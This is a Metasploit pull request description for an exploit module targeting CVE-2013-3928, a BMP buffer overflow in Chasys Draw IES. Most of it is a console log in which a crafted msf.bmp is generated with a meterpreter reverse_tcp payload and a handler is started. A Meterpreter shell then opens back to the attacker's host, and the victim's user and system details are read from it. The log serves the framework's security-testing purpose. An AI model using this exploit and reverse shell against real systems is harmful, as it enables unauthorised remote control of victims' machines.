rapid7/metasploit-framework — pull request #2214 by jvazquez-r7 (2013-08-12 22:20:18+00:00)
Title: Add module for CVE-2013-3928

Tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7 SP1.

```
msf exploit(chasys_draw_ies_bmp_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(chasys_draw_ies_bmp_bof) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(chasys_draw_ies_bmp_bof) > rexploit
[*] Reloading module...

[+] msf.bmp stored at /Users/juan/.msf4/local/msf.bmp
msf exploit(chasys_draw_ies_bmp_bof) > use exploit/multi/handler
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.172
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.172:49163) at 2013-08-12 17:16:11 -0500

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

```